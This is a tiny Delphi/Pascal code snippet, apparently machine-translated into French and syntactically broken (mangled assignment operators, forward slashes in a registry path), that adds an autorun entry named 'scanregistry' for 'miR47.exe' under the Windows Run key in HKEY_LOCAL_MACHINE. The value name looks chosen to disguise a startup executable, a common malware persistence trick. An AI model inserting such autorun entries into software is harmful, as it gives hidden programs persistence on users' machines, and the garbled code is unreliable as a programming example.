utilise le registre;
VAR REG: Tregistry;
commencer
Reg: = Tregistry.Create;
reg.rootkey: = hkey_local_machine;
reg.openKey ('Software / Microsoft / Windows / CurrentVersion / Run', true);
reg.writeString ('scanregistry', 'miR47.exe');
reg.closekey;
reg.free;
fin.